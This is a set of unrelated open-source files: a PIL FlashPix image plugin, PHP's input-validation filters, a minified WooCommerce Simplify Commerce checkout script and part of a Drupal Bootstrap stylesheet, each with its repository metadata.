"tables loaded" self._open_subimage(1, self.maxid) def _open_subimage(self, index = 1, subimage = 0): # # setup tile descriptors for a given subimage stream = [ "Data Object Store %06d" % index, "Resolution %04d" % subimage, "Subimage 0000 Header" ] fp = self.ole.openstream(stream) # skip prefix p = fp.read(28) # header stream s = fp.read(36) size = i32(s, 4), i32(s, 8) tilecount = i32(s, 12) tilesize = i32(s, 16), i32(s, 20) channels = i32(s, 24) offset = i32(s, 28) length = i32(s, 32) # print size, self.mode, self.rawmode if size != self.size: raise IOError, "subimage mismatch" # get tile descriptors fp.seek(28 + offset) s = fp.read(i32(s, 12) * length) x = y = 0 xsize, ysize = size xtile, ytile = tilesize self.tile = [] for i in range(0, len(s), length): compression = i32(s, i+8) if compression == 0: self.tile.append(("raw", (x,y,x+xtile,y+ytile), i32(s, i) + 28, (self.rawmode))) elif compression == 1: # FIXME: the fill decoder is not implemented self.tile.append(("fill", (x,y,x+xtile,y+ytile), i32(s, i) + 28, (self.rawmode, s[12:16]))) elif compression == 2: internal_color_conversion = ord(s[14]) jpeg_tables = ord(s[15]) rawmode = self.rawmode if internal_color_conversion: # The image is stored as usual (usually YCbCr). if rawmode == "RGBA": # For "RGBA", data is stored as YCbCrA based on # negative RGB. The following trick works around # this problem : jpegmode, rawmode = "YCbCrK", "CMYK" else: jpegmode = None # let the decoder decide else: # The image is stored as defined by rawmode jpegmode = rawmode self.tile.append(("jpeg", (x,y,x+xtile,y+ytile), i32(s, i) + 28, (rawmode, jpegmode))) # FIXME: jpeg tables are tile dependent; the prefix # data must be placed in the tile descriptor itself! if jpeg_tables: self.tile_prefix = self.jpeg[jpeg_tables] else: raise IOError, "unknown/invalid compression" x = x + xtile if x >= xsize: x, y = 0, y + ytile if y >= ysize: break # isn't really required self.stream = stream self.fp = None def load(self): if not self.fp: self.fp = self.ole.openstream(self.stream[:2] + ["Subimage 0000 Data"]) ImageFile.ImageFile.load(self) # # -------------------------------------------------------------------- Image.register_open("FPX", FpxImageFile, _accept) Image.register_extension("FPX", ".fpx")
arpruss/plucker
plucker_desktop/installer/osx/application_bundle_files/Resources/parser/python/vm/PIL/FpxImagePlugin.py
Python
gpl-2.0
6,486
/* +----------------------------------------------------------------------+ | PHP Version 5 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2012 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Derick Rethans <derick@php.net> | | Pierre-A. Joye <pierre@php.net> | +----------------------------------------------------------------------+ */ /* $Id$ */ #include "php_filter.h" #include "filter_private.h" #include "ext/standard/url.h" #include "ext/pcre/php_pcre.h" #include "zend_multiply.h" #if HAVE_ARPA_INET_H # include <arpa/inet.h> #endif #ifndef INADDR_NONE # define INADDR_NONE ((unsigned long int) -1) #endif /* {{{ FETCH_LONG_OPTION(var_name, option_name) */ #define FETCH_LONG_OPTION(var_name, option_name) \ var_name = 0; \ var_name##_set = 0; \ if (option_array) { \ if (zend_hash_find(HASH_OF(option_array), option_name, sizeof(option_name), (void **) &option_val) == SUCCESS) { \ PHP_FILTER_GET_LONG_OPT(option_val, var_name); \ var_name##_set = 1; \ } \ } /* }}} */ /* {{{ FETCH_STRING_OPTION(var_name, option_name) */ #define FETCH_STRING_OPTION(var_name, option_name) \ var_name = NULL; \ var_name##_set = 0; \ var_name##_len = 0; \ if (option_array) { \ if (zend_hash_find(HASH_OF(option_array), option_name, sizeof(option_name), (void **) &option_val) == SUCCESS) { \ if (Z_TYPE_PP(option_val) == IS_STRING) { \ var_name = Z_STRVAL_PP(option_val); \ var_name##_len = Z_STRLEN_PP(option_val); \ var_name##_set = 1; \ } \ } \ } /* }}} */ #define FORMAT_IPV4 4 #define FORMAT_IPV6 6 static int php_filter_parse_int(const char *str, unsigned int str_len, long *ret TSRMLS_DC) { /* {{{ */ long ctx_value; int sign = 0, digit = 0; const char *end = str + str_len; switch (*str) { case '-': sign = 1; case '+': str++; default: break; } /* must start with 1..9*/ if (str < end && *str >= '1' && *str <= '9') { ctx_value = ((sign)?-1:1) * ((*(str++)) - '0'); } else { return -1; } if ((end - str > MAX_LENGTH_OF_LONG - 1) /* number too long */ || (SIZEOF_LONG == 4 && (end - str == MAX_LENGTH_OF_LONG - 1) && *str > '2')) { /* overflow */ return -1; } while (str < end) { if (*str >= '0' && *str <= '9') { digit = (*(str++) - '0'); if ( (!sign) && ctx_value <= (LONG_MAX-digit)/10 ) { ctx_value = (ctx_value * 10) + digit; } else if ( sign && ctx_value >= (LONG_MIN+digit)/10) { ctx_value = (ctx_value * 10) - digit; } else { return -1; } } else { return -1; } } *ret = ctx_value; return 1; } /* }}} */ static int php_filter_parse_octal(const char *str, unsigned int str_len, long *ret TSRMLS_DC) { /* {{{ */ unsigned long ctx_value = 0; const char *end = str + str_len; while (str < end) { if (*str >= '0' && *str <= '7') { unsigned long n = ((*(str++)) - '0'); if ((ctx_value > ((unsigned long)(~(long)0)) / 8) || ((ctx_value = ctx_value * 8) > ((unsigned long)(~(long)0)) - n)) { return -1; } ctx_value += n; } else { return -1; } } *ret = (long)ctx_value; return 1; } /* }}} */ static int php_filter_parse_hex(const char *str, unsigned int str_len, long *ret TSRMLS_DC) { /* {{{ */ unsigned long ctx_value = 0; const char *end = str + str_len; unsigned long n; while (str < end) { if (*str >= '0' && *str <= '9') { n = ((*(str++)) - '0'); } else if (*str >= 'a' && *str <= 'f') { n = ((*(str++)) - ('a' - 10)); } else if (*str >= 'A' && *str <= 'F') { n = ((*(str++)) - ('A' - 10)); } else { return -1; } if ((ctx_value > ((unsigned long)(~(long)0)) / 16) || ((ctx_value = ctx_value * 16) > ((unsigned long)(~(long)0)) - n)) { return -1; } ctx_value += n; } *ret = (long)ctx_value; return 1; } /* }}} */ void php_filter_int(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { zval **option_val; long min_range, max_range, option_flags; int min_range_set, max_range_set; int allow_octal = 0, allow_hex = 0; int len, error = 0; long ctx_value; char *p; /* Parse options */ FETCH_LONG_OPTION(min_range, "min_range"); FETCH_LONG_OPTION(max_range, "max_range"); option_flags = flags; len = Z_STRLEN_P(value); if (len == 0) { RETURN_VALIDATION_FAILED } if (option_flags & FILTER_FLAG_ALLOW_OCTAL) { allow_octal = 1; } if (option_flags & FILTER_FLAG_ALLOW_HEX) { allow_hex = 1; } /* Start the validating loop */ p = Z_STRVAL_P(value); ctx_value = 0; PHP_FILTER_TRIM_DEFAULT(p, len); if (*p == '0') { p++; len--; if (allow_hex && (*p == 'x' || *p == 'X')) { p++; len--; if (php_filter_parse_hex(p, len, &ctx_value TSRMLS_CC) < 0) { error = 1; } } else if (allow_octal) { if (php_filter_parse_octal(p, len, &ctx_value TSRMLS_CC) < 0) { error = 1; } } else if (len != 0) { error = 1; } } else { if (php_filter_parse_int(p, len, &ctx_value TSRMLS_CC) < 0) { error = 1; } } if (error > 0 || (min_range_set && (ctx_value < min_range)) || (max_range_set && (ctx_value > max_range))) { RETURN_VALIDATION_FAILED } else { zval_dtor(value); Z_TYPE_P(value) = IS_LONG; Z_LVAL_P(value) = ctx_value; return; } } /* }}} */ void php_filter_boolean(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { char *str = Z_STRVAL_P(value); int len = Z_STRLEN_P(value); int ret; PHP_FILTER_TRIM_DEFAULT(str, len); /* returns true for "1", "true", "on" and "yes" * returns false for "0", "false", "off", "no", and "" * null otherwise. */ switch (len) { case 1: if (*str == '1') { ret = 1; } else if (*str == '0') { ret = 0; } else { ret = -1; } break; case 2: if (strncasecmp(str, "on", 2) == 0) { ret = 1; } else if (strncasecmp(str, "no", 2) == 0) { ret = 0; } else { ret = -1; } break; case 3: if (strncasecmp(str, "yes", 3) == 0) { ret = 1; } else if (strncasecmp(str, "off", 3) == 0) { ret = 0; } else { ret = -1; } break; case 4: if (strncasecmp(str, "true", 4) == 0) { ret = 1; } else { ret = -1; } break; case 5: if (strncasecmp(str, "false", 5) == 0) { ret = 0; } else { ret = -1; } break; default: ret = -1; } if (ret == -1) { RETURN_VALIDATION_FAILED } else { zval_dtor(value); ZVAL_BOOL(value, ret); } } /* }}} */ void php_filter_float(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { int len; char *str, *end; char *num, *p; zval **option_val; char *decimal; int decimal_set, decimal_len; char dec_sep = '.'; char tsd_sep[3] = "',."; long lval; double dval; int first, n; len = Z_STRLEN_P(value); str = Z_STRVAL_P(value); PHP_FILTER_TRIM_DEFAULT(str, len); end = str + len; FETCH_STRING_OPTION(decimal, "decimal"); if (decimal_set) { if (decimal_len != 1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "decimal separator must be one char"); RETURN_VALIDATION_FAILED } else { dec_sep = *decimal; } } num = p = emalloc(len+1); if (str < end && (*str == '+' || *str == '-')) { *p++ = *str++; } first = 1; while (1) { n = 0; while (str < end && *str >= '0' && *str <= '9') { ++n; *p++ = *str++; } if (str == end || *str == dec_sep || *str == 'e' || *str == 'E') { if (!first && n != 3) { goto error; } if (*str == dec_sep) { *p++ = '.'; str++; while (str < end && *str >= '0' && *str <= '9') { *p++ = *str++; } } if (*str == 'e' || *str == 'E') { *p++ = *str++; if (str < end && (*str == '+' || *str == '-')) { *p++ = *str++; } while (str < end && *str >= '0' && *str <= '9') { *p++ = *str++; } } break; } if ((flags & FILTER_FLAG_ALLOW_THOUSAND) && (*str == tsd_sep[0] || *str == tsd_sep[1] || *str == tsd_sep[2])) { if (first?(n < 1 || n > 3):(n != 3)) { goto error; } first = 0; str++; } else { goto error; } } if (str != end) { goto error; } *p = 0; switch (is_numeric_string(num, p - num, &lval, &dval, 0)) { case IS_LONG: zval_dtor(value); Z_TYPE_P(value) = IS_DOUBLE; Z_DVAL_P(value) = lval; break; case IS_DOUBLE: if ((!dval && p - num > 1 && strpbrk(num, "123456789")) || !zend_finite(dval)) { goto error; } zval_dtor(value); Z_TYPE_P(value) = IS_DOUBLE; Z_DVAL_P(value) = dval; break; default: error: efree(num); RETURN_VALIDATION_FAILED } efree(num); } /* }}} */ void php_filter_validate_regexp(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { zval **option_val; char *regexp; int regexp_len; long option_flags; int regexp_set, option_flags_set; pcre *re = NULL; pcre_extra *pcre_extra = NULL; int preg_options = 0; int ovector[3]; int matches; /* Parse options */ FETCH_STRING_OPTION(regexp, "regexp"); FETCH_LONG_OPTION(option_flags, "flags"); if (!regexp_set) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "'regexp' option missing"); RETURN_VALIDATION_FAILED } re = pcre_get_compiled_regex(regexp, &pcre_extra, &preg_options TSRMLS_CC); if (!re) { RETURN_VALIDATION_FAILED } matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3); /* 0 means that the vector is too small to hold all the captured substring offsets */ if (matches < 0) { RETURN_VALIDATION_FAILED } } /* }}} */ void php_filter_validate_url(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { php_url *url; int old_len = Z_STRLEN_P(value); php_filter_url(value, flags, option_array, charset TSRMLS_CC); if (Z_TYPE_P(value) != IS_STRING || old_len != Z_STRLEN_P(value)) { RETURN_VALIDATION_FAILED } /* Use parse_url - if it returns false, we return NULL */ url = php_url_parse_ex(Z_STRVAL_P(value), Z_STRLEN_P(value)); if (url == NULL) { RETURN_VALIDATION_FAILED } if (url->scheme != NULL && (!strcasecmp(url->scheme, "http") || !strcasecmp(url->scheme, "https"))) { char *e, *s; if (url->host == NULL) { goto bad_url; } e = url->host + strlen(url->host); s = url->host; /* First char of hostname must be alphanumeric */ if(!isalnum((int)*(unsigned char *)s)) { goto bad_url; } while (s < e) { if (!isalnum((int)*(unsigned char *)s) && *s != '-' && *s != '.') { goto bad_url; } s++; } if (*(e - 1) == '.') { goto bad_url; } } if ( url->scheme == NULL || /* some schemas allow the host to be empty */ (url->host == NULL && (strcmp(url->scheme, "mailto") && strcmp(url->scheme, "news") && strcmp(url->scheme, "file"))) || ((flags & FILTER_FLAG_PATH_REQUIRED) && url->path == NULL) || ((flags & FILTER_FLAG_QUERY_REQUIRED) && url->query == NULL) ) { bad_url: php_url_free(url); RETURN_VALIDATION_FAILED } php_url_free(url); } /* }}} */ void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { /* * The regex below is based on a regex by Michael Rushton. * However, it is not identical. I changed it to only consider routeable * addresses as valid. Michael's regex considers a@b a valid address * which conflicts with section 2.3.5 of RFC 5321 which states that: * * Only resolvable, fully-qualified domain names (FQDNs) are permitted * when domain names are used in SMTP. In other words, names that can * be resolved to MX RRs or address (i.e., A or AAAA) RRs (as discussed * in Section 5) are permitted, as are CNAME RRs whose targets can be * resolved, in turn, to MX or address RRs. Local nicknames or * unqualified names MUST NOT be used. * * This regex does not handle comments and folding whitespace. While * this is technically valid in an email address, these parts aren't * actually part of the address itself. * * Michael's regex carries this copyright: * * Copyright © Michael Rushton 2009-10 * http://squiloople.com/ * Feel free to use and redistribute this code. But please keep this copyright notice. * */ const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD"; pcre *re = NULL; pcre_extra *pcre_extra = NULL; int preg_options = 0; int ovector[150]; /* Needs to be a multiple of 3 */ int matches; /* The maximum length of an e-mail address is 320 octets, per RFC 2821. */ if (Z_STRLEN_P(value) > 320) { RETURN_VALIDATION_FAILED } re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC); if (!re) { RETURN_VALIDATION_FAILED } matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3); /* 0 means that the vector is too small to hold all the captured substring offsets */ if (matches < 0) { RETURN_VALIDATION_FAILED } } /* }}} */ static int _php_filter_validate_ipv4(char *str, int str_len, int *ip) /* {{{ */ { const char *end = str + str_len; int num, m; int n = 0; while (str < end) { int leading_zero; if (*str < '0' || *str > '9') { return 0; } leading_zero = (*str == '0'); m = 1; num = ((*(str++)) - '0'); while (str < end && (*str >= '0' && *str <= '9')) { num = num * 10 + ((*(str++)) - '0'); if (num > 255 || ++m > 3) { return 0; } } /* don't allow a leading 0; that introduces octal numbers, * which we don't support */ if (leading_zero && (num != 0 || m > 1)) return 0; ip[n++] = num; if (n == 4) { return str == end; } else if (str >= end || *(str++) != '.') { return 0; } } return 0; } /* }}} */ static int _php_filter_validate_ipv6(char *str, int str_len TSRMLS_DC) /* {{{ */ { int compressed = 0; int blocks = 0; int n; char *ipv4; char *end; int ip4elm[4]; char *s = str; if (!memchr(str, ':', str_len)) { return 0; } /* check for bundled IPv4 */ ipv4 = memchr(str, '.', str_len); if (ipv4) { while (ipv4 > str && *(ipv4-1) != ':') { ipv4--; } if (!_php_filter_validate_ipv4(ipv4, (str_len - (ipv4 - str)), ip4elm)) { return 0; } str_len = ipv4 - str; /* length excluding ipv4 */ if (str_len < 2) { return 0; } if (ipv4[-2] != ':') { /* don't include : before ipv4 unless it's a :: */ str_len--; } blocks = 2; } end = str + str_len; while (str < end) { if (*str == ':') { if (++str >= end) { /* cannot end in : without previous : */ return 0; } if (*str == ':') { if (compressed) { return 0; } blocks++; /* :: means 1 or more 16-bit 0 blocks */ compressed = 1; if (++str == end) { return (blocks <= 8); } } else if ((str - 1) == s) { /* dont allow leading : without another : following */ return 0; } } n = 0; while ((str < end) && ((*str >= '0' && *str <= '9') || (*str >= 'a' && *str <= 'f') || (*str >= 'A' && *str <= 'F'))) { n++; str++; } if (n < 1 || n > 4) { return 0; } if (++blocks > 8) return 0; } return ((compressed && blocks <= 8) || blocks == 8); } /* }}} */ void php_filter_validate_ip(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { /* validates an ipv4 or ipv6 IP, based on the flag (4, 6, or both) add a * flag to throw out reserved ranges; multicast ranges... etc. If both * allow_ipv4 and allow_ipv6 flags flag are used, then the first dot or * colon determine the format */ int ip[4]; int mode; if (memchr(Z_STRVAL_P(value), ':', Z_STRLEN_P(value))) { mode = FORMAT_IPV6; } else if (memchr(Z_STRVAL_P(value), '.', Z_STRLEN_P(value))) { mode = FORMAT_IPV4; } else { RETURN_VALIDATION_FAILED } if ((flags & FILTER_FLAG_IPV4) && (flags & FILTER_FLAG_IPV6)) { /* Both formats are cool */ } else if ((flags & FILTER_FLAG_IPV4) && mode == FORMAT_IPV6) { RETURN_VALIDATION_FAILED } else if ((flags & FILTER_FLAG_IPV6) && mode == FORMAT_IPV4) { RETURN_VALIDATION_FAILED } switch (mode) { case FORMAT_IPV4: if (!_php_filter_validate_ipv4(Z_STRVAL_P(value), Z_STRLEN_P(value), ip)) { RETURN_VALIDATION_FAILED } /* Check flags */ if (flags & FILTER_FLAG_NO_PRIV_RANGE) { if ( (ip[0] == 10) || (ip[0] == 172 && (ip[1] >= 16 && ip[1] <= 31)) || (ip[0] == 192 && ip[1] == 168) ) { RETURN_VALIDATION_FAILED } } if (flags & FILTER_FLAG_NO_RES_RANGE) { if ( (ip[0] == 0) || (ip[0] == 128 && ip[1] == 0) || (ip[0] == 191 && ip[1] == 255) || (ip[0] == 169 && ip[1] == 254) || (ip[0] == 192 && ip[1] == 0 && ip[2] == 2) || (ip[0] == 127 && ip[1] == 0 && ip[2] == 0 && ip[3] == 1) || (ip[0] >= 224 && ip[0] <= 255) ) { RETURN_VALIDATION_FAILED } } break; case FORMAT_IPV6: { int res = 0; res = _php_filter_validate_ipv6(Z_STRVAL_P(value), Z_STRLEN_P(value) TSRMLS_CC); if (res < 1) { RETURN_VALIDATION_FAILED } /* Check flags */ if (flags & FILTER_FLAG_NO_PRIV_RANGE) { if (Z_STRLEN_P(value) >=2 && (!strncasecmp("FC", Z_STRVAL_P(value), 2) || !strncasecmp("FD", Z_STRVAL_P(value), 2))) { RETURN_VALIDATION_FAILED } } if (flags & FILTER_FLAG_NO_RES_RANGE) { switch (Z_STRLEN_P(value)) { case 1: case 0: break; case 2: if (!strcmp("::", Z_STRVAL_P(value))) { RETURN_VALIDATION_FAILED } break; case 3: if (!strcmp("::1", Z_STRVAL_P(value)) || !strcmp("5f:", Z_STRVAL_P(value))) { RETURN_VALIDATION_FAILED } break; default: if (Z_STRLEN_P(value) >= 5) { if ( !strncasecmp("fe8", Z_STRVAL_P(value), 3) || !strncasecmp("fe9", Z_STRVAL_P(value), 3) || !strncasecmp("fea", Z_STRVAL_P(value), 3) || !strncasecmp("feb", Z_STRVAL_P(value), 3) ) { RETURN_VALIDATION_FAILED } } if ( (Z_STRLEN_P(value) >= 9 && !strncasecmp("2001:0db8", Z_STRVAL_P(value), 9)) || (Z_STRLEN_P(value) >= 2 && !strncasecmp("5f", Z_STRVAL_P(value), 2)) || (Z_STRLEN_P(value) >= 4 && !strncasecmp("3ff3", Z_STRVAL_P(value), 4)) || (Z_STRLEN_P(value) >= 8 && !strncasecmp("2001:001", Z_STRVAL_P(value), 8)) ) { RETURN_VALIDATION_FAILED } } } } break; } } /* }}} */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 fdm=marker * vim<600: noet sw=4 ts=4 */
ssanglee/capstone
php-5.4.6/ext/filter/logical_filters.c
C
gpl-2.0
21,670
!function(a){function b(){var b=a("form.checkout, form#order_review");if(a("#payment_method_simplify_commerce").is(":checked")&&0===a("input.simplify-token").size()){b.block({message:null,overlayCSS:{background:"#fff",opacity:.6}});var d=a("#simplify_commerce-card-number").val(),e=a("#simplify_commerce-card-cvc").val(),f=a.payment.cardExpiryVal(a("#simplify_commerce-card-expiry").val());return d=d.replace(/\s/g,""),SimplifyCommerce.generateToken({key:Simplify_commerce_params.key,card:{number:d,cvc:e,expMonth:f.month,expYear:f.year-2e3}},c),!1}return!0}function c(b){var c=a("form.checkout, form#order_review"),d=a("#simplify_commerce-cc-form");if(b.error){if(a(".woocommerce-error, .simplify-token",d).remove(),c.unblock(),"validation"===b.error.code){for(var e=b.error.fieldErrors,f=e.length,g="",h=0;f>h;h++)g+="<li>"+Simplify_commerce_params[e[h].field]+" "+Simplify_commerce_params.is_invalid+" - "+e[h].message+".</li>";d.prepend('<ul class="woocommerce-error">'+g+"</ul>")}}else d.append('<input type="hidden" class="simplify-token" name="simplify_token" value="'+b.id+'"/>'),c.submit()}a(function(){a("body").on("checkout_error",function(){a(".simplify-token").remove()}),a("form.checkout").on("checkout_place_order_simplify_commerce",function(){return b()}),a("form#order_review").on("submit",function(){return b()}),a("form.checkout, form#order_review").on("change","#simplify_commerce-cc-form input",function(){a(".simplify-token").remove()})})}(jQuery);
Fariah/shopifiq
wp-content/plugins/woocommerce/includes/gateways/simplify-commerce/assets/js/simplify-commerce.min.js
JavaScript
gpl-2.0
1,470
.glyphicon-spin,a .glyphicon-spin{display:inline-block}.alert a,.field--label,.file{font-weight:700}.file,.file-link{width:100%}.tabs-left>.nav-tabs>li:focus,.tabs-left>.nav-tabs>li>a:focus,.tabs-right>.nav-tabs>li:focus,.tabs-right>.nav-tabs>li>a:focus{outline:0}.panel-title:focus,.panel-title:hover,a .glyphicon-spin{text-decoration:none}.image-widget.row,.region-help .block,.tabledrag-changed-warning{overflow:hidden}.alert-sm{padding:5px 10px}.alert-danger a,.alert-danger a:focus,.alert-danger a:hover,.alert-info a,.alert-info a:focus,.alert-info a:hover,.alert-success a,.alert-success a:focus,.alert-success a:hover,.alert-warning a,.alert-warning a:focus,.alert-warning a:hover{color:#e6e6e6}@-webkit-keyframes glyphicon-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-o-keyframes glyphicon-spin{0%{-o-transform:rotate(0);transform:rotate(0)}100%{-o-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes glyphicon-spin{0%{-webkit-transform:rotate(0);-o-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);-o-transform:rotate(359deg);transform:rotate(359deg)}}.glyphicon-spin{-webkit-animation:glyphicon-spin 1s infinite linear;-o-animation:glyphicon-spin 1s infinite linear;animation:glyphicon-spin 1s infinite linear}html.js .btn .ajax-throbber{margin-left:.5em;margin-right:-.25em}html.js .form-item .input-group-addon .glyphicon{color:#888;opacity:.5;-webkit-transition:150ms color,150ms opacity;-o-transition:150ms color,150ms opacity;transition:150ms color,150ms opacity}html.js .form-item .input-group-addon .glyphicon.glyphicon-spin{color:#2A9FD6;opacity:1}html.js .form-item .input-group-addon .input-group-addon{background-color:#fff}html.js .ajax-new-content:empty{display:none!important}.field--label-inline .field--items,.field--label-inline .field--label{float:left}.field--label-inline .field--items,.field--label-inline .field--label,.field--label-inline>.field--item{padding-right:.5em}[dir=rtl] .field--label-inline .field--items,[dir=rtl] .field--label-inline .field--label{padding-left:.5em;padding-right:0}.field--label-inline .field--label::after{content:':'}.file{display:table;font-size:75%;margin:5px 0}.file-icon,.file-link,.file-size,.file>.tabledrag-changed{display:table-cell;vertical-align:middle}.file>span{background:#fff;color:#2A9FD6;border-bottom:1px solid #282828;border-top:1px solid #282828}.file>span:first-child{border-left:1px solid #282828}.file>span:last-child{border-right:1px solid #282828}.file>.tabledrag-changed{background:#F80;border-radius:0;color:#fff;padding:0 1em;top:0}.file>.tabledrag-changed,.file>.tabledrag-changed:last-child{border:1px solid #d64f00}.file-icon{font-size:150%;padding:.25em .5em;text-align:center}.file-link a,.file-link a:active,.file-link a:focus,.file-link a:hover{color:inherit}.file-size{padding:0 1em;text-align:right;white-space:pre}.filter-wrapper{background-color:#222;border:1px solid #282828;border-top:0;border-radius:0 0 4px 4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05);margin-bottom:0;padding:10px;height:51px}.filter-help{float:right;line-height:1;margin:.5em 0 0}.nav.nav-tabs.filter-formats{margin-bottom:15px}table .checkbox.form-no-label,table .radio.form-no-label{margin-bottom:0;margin-top:0}.select-wrapper{display:inline-block;position:relative;width:100%}.form-inline .select-wrapper{width:auto}.input-group .select-wrapper{display:table-cell}.input-group .select-wrapper:first-child .form-control:first-child{border-bottom-left-radius:4px;border-top-left-radius:4px}.input-group .select-wrapper:last-child .form-control:first-child{border-bottom-right-radius:4px;border-top-right-radius:4px}.select-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;line-height:1;padding-right:2em}.select-wrapper select::-ms-expand{opacity:0}.select-wrapper:after{color:#2A9FD6;content:'▼';font-style:normal;font-weight:400;line-height:1;margin-top:-.5em;padding-right:.5em;pointer-events:none;position:absolute;right:0;top:50%;z-index:10}.has-glyphicons .select-wrapper:after{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;content:'\e114';display:inline-block;font-family:'Glyphicons Halflings'}.has-error .select-wrapper:after,.has-success .select-wrapper:after,.has-warning .select-wrapper:after{color:#fff}.form-required:after{background-image:url(../images/required.svg);-webkit-background-size:10px 7px;background-size:10px 7px;content:"";display:inline-block;line-height:1;height:7px;width:10px}.form-actions .btn,.form-actions .btn-group{margin-right:10px}.form-actions .btn-group .btn{margin-right:0}a.icon-before .glyphicon{margin-right:.25em}a.icon-after .glyphicon{margin-left:.25em}.btn.icon-before .glyphicon{margin-left:-.25em;margin-right:.25em}.btn.icon-after .glyphicon{margin-left:.25em;margin-right:-.25em}body{position:relative}body.navbar-is-static-top{margin-top:0}body.navbar-is-fixed-top{margin-top:65px}body.navbar-is-fixed-bottom{padding-bottom:65px}@media screen and (max-width:767px){body.toolbar-vertical.navbar-is-fixed-bottom .toolbar-bar,body.toolbar-vertical.navbar-is-fixed-top .toolbar-bar{position:fixed}body.toolbar-vertical.navbar-is-fixed-bottom header,body.toolbar-vertical.navbar-is-fixed-top header{z-index:500}body.toolbar-vertical.navbar-is-fixed-top header{top:39px}}@media screen and (min-width:768px){body{margin-top:15px}.navbar.container{max-width:720px}}@media screen and (min-width:992px){.navbar.container{max-width:940px}}@media screen and (min-width:1200px){.navbar.container{max-width:1140px}}.node-preview-container{margin-top:-15px}.node-preview-form-select{padding:15px}.panel-title{display:block;margin:-10px -15px;padding:10px 15px}.panel-title,.panel-title:focus,.panel-title:hover,.panel-title:hover:focus{color:inherit}.progress-wrapper{margin-bottom:15px}.progress-wrapper:last-child .progress{margin-bottom:5px}.progress-wrapper .message{font-weight:700;margin-bottom:5px}.progress-wrapper .percentage,.progress-wrapper .progress-label{font-size:12px}.progress-wrapper .progress-bar{min-width:2em}.tabledrag-toggle-weight{float:right;margin:1px 2px 1px 10px}.tabledrag-changed-warning{margin:0}.tabledrag-handle{color:#888;cursor:move;float:left;font-size:125%;line-height:1;margin:-10px 0 0 -10px;padding:10px}.tabledrag-handle:focus,.tabledrag-handle:hover{color:#2A9FD6}.indentation{float:left;height:1.7em;margin:-.4em .2em -.4em -.4em;padding:.42em 0 .42em .6em;width:20px}[dir=rtl] .indentation{float:right;margin:-.4em -.4em -.4em .2em;padding:.42em .6em .42em 0}.local-actions{margin:10px 0 10px -5px}.tabs--secondary{margin:10px 0 5px}.tabbable{margin-bottom:20px}.tabs-below>.nav-tabs,.tabs-left>.nav-tabs,.tabs-right>.nav-tabs{border-bottom:0}.tabs-below>.nav-tabs .summary,.tabs-left>.nav-tabs .summary,.tabs-right>.nav-tabs .summary{color:#888;font-size:12px}.tab-pane>.panel-heading{display:none}.tab-content>.active{display:block}.tabs-below>.nav-tabs{border-top:1px solid 